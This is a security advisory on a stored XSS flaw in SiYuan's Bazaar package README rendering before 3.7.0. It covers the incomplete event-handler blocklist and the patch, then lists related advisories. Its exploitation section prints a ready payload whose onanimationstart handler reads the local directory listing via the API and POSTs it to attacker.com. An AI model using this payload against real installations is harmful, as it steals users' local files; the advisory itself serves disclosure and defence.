Jul 10, 2026·5 min read·19 visits
Stored XSS in SiYuan's Bazaar package rendering component allows unauthenticated attackers to execute arbitrary JavaScript in the context of the administrator origin, leading to complete workspace compromise.
A high-severity Stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan prior to version 3.7.0. The vulnerability is located within the server-side Markdown-to-HTML parsing component for the Bazaar marketplace packages. Due to an incomplete event-handler attribute blocklist in the lute parsing engine and a lack of client-side DOM sanitization, malicious package authors can bypass restrictions using modern HTML5 event handlers. When an authenticated administrator views a malicious package, the embedded JavaScript runs in the administrator origin, allowing unauthorized workspace access, local file reading, and remote API execution.
SiYuan is an open-source, self-hosted personal knowledge management system that allows users to manage local Markdown workspaces. The platform features an integrated Bazaar marketplace, enabling users to discover and download third-party community themes, plugins, and templates. This modular ecosystem necessitates the retrieval and rendering of remote content within the application interface.
The attack surface is exposed in the Bazaar package viewing flow inside the Settings panel. When an administrator browses the marketplace, the backend kernel fetches the package README file from a remote registry and processes it to display detailed information. The backend engine processes the raw Markdown and converts it into HTML output.
This vulnerability is categorized under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-184 (Incomplete List of Disallowed Inputs). An attacker can host a malicious package on the public Bazaar registry. This action triggers code execution when an administrator inspects the package, without requiring package installation.
The backend kernel employs the lute engine to parse Markdown to HTML inside the renderPackageREADME function in kernel/bazaar/readme.go. To mitigate potential injection vectors, the engine is initialized with sanitization enabled via luteEngine.SetSanitize(true). This configuration activates the internal attribute validator within the parsing library.
The sanitizer relies on a negative security model (blocklist) to strip dangerous elements. The function checks parsed HTML attributes against a hardcoded map of prohibited handlers, called eventAttrs. This collection was based on legacy web elements and does not contain contemporary pointers, transitions, or animations.
Because the blocklist is not exhaustive, modern event handlers such as onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart, and ontransitionend are not recognized as dangerous. The parser passes these attributes through to the generated HTML output unchanged. The client receives this raw output and loads it directly into the application context.
In vulnerable versions, the kernel converts the content to HTML and transfers it directly to the frontend. The critical vulnerability on the frontend client resides in app/src/config/bazaar.ts where the response is rendered:
// Inside app/src/config/bazaar.ts (Vulnerable path)
// The HTML output is inserted directly into the main DOM
mdElement.innerHTML = renderedHTML;No secondary client-side library (such as DOMPurify) sanitizes this element, and it is placed inside the primary document window rather than inside a sandboxed iframe. Additionally, the application does not implement a restrictive Content Security Policy (CSP) on the local host origin.
In the patched release, the lute rendering library has been updated to filter out modern event handlers, or the application was adjusted to utilize safer rendering pipelines. An expanded representation of the legacy sanitization map contrasted with the updated, secure validation approach is demonstrated below:
// VULNERABLE: Incomplete list derived from legacy event types
var eventAttrs = map[string]bool{
"onclick": true,
"onload": true,
"onerror": true,
"onmouseover": true,
}
// PATCHED: Complete blocklist including pointer and CSS keyframe handlers
var eventAttrs = map[string]bool{
"onclick": true,
"onload": true,
"onerror": true,
"onmouseover": true,
"onpointerover": true,
"onpointerdown": true,
"onauxclick": true,
"onbeforetoggle": true,
"onfocusin": true,
"onanimationstart": true,
"ontransitionend": true,
}Exploitation involves registering a package on the SiYuan Bazaar registry containing custom Markdown in the README.md file. The attacker places a structured HTML tag inside the Markdown to trigger JavaScript execution upon page load or simple user navigation.
To achieve interaction-less exploitation, an attacker can specify a hidden element with CSS keyframe animations. The onanimationstart event triggers immediately when the browser calculates the layout, requiring no active movement or clicks from the administrator:
<style>
@keyframes triggerXSS {
from { clip: rect(1px, 1px, 1px, 1px); }
to { clip: rect(0px, 0px, 0px, 0px); }
}
.xss-trigger {
animation: triggerXSS 0.1s;
}
</style>
<div class="xss-trigger" onanimationstart="
fetch('/api/file/readDir', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ path: '/' })
})
.then(r => r.json())
.then(files => {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(files)
});
});
"></div>If pointer interactions are preferred, the payload can be bound to onpointerover inside an eye-catching element. As soon as the mouse pointer brushes against the package overview container, the handler invokes the client-side API.
The impact of this vulnerability is severe because the local SiYuan application has access to local desktop system files via its integrated local API server. Since the injected code executes in the context of the running application, the attacker inherits the rights of the logged-in administrator.
The script can call any API endpoint exposed on the local server origin. Key capabilities include listing directory contents, reading arbitrary local notes, writing malicious files, or modifying current application configurations. The compromised workspace can then be exfiltrated via external HTTP requests since no Content Security Policy restricts external communication.
The primary resolution is to upgrade all SiYuan installations to version 3.7.0 or higher. Version 3.7.0 contains updated validation logic within the lute markdown component and hardens the application against event handler bypasses.
For environments where updating is delayed, the following temporary workarounds should be applied:
Do not open the 'Bazaar' or 'Marketplace' configuration sections.
Enforce local host restrictions or firewall configurations that block outbound internet communication from the SiYuan process to untrusted domains, preventing third-party package synchronization.
Implement local intercepting proxies to strip custom event attributes before they are parsed by the application frontend.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
SiYuan SiYuan | < 3.7.0 | 3.7.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 / CWE-184 |
| Attack Vector | Network |
| CVSS Score | 7.1 (High) |
| EPSS Score | 0.0018 (Percentile: 7.75%) |
| Impact | Stored Cross-Site Scripting (XSS) |
| Exploit Status | poc |
| KEV Status | Not Listed |
The product receives input, but does not neutralize or incorrectly neutralizes authorized HTML elements or event handlers prior to executing the contents in a web page context.
netfoil, an allowlist-based DNS proxy, failed to sanitize ALPN fields parsed from untrusted DNS-over-HTTPS (DoH) HTTPS Resource Records. This allowed attackers to inject ANSI escape sequences into log files or trigger Denial of Service (DoS) via uncontrolled memory allocations.
An issue was discovered in the tokio-postgres library for Rust prior to version 0.7.18. A trust assumption mismatch between the PostgreSQL protocol messages sent by a server and how they are parsed and indexed by the client-side library allows a rogue or compromised database server to trigger a Denial of Service (DoS) crash via an unhandled out-of-bounds slice indexing panic.
CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.
An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.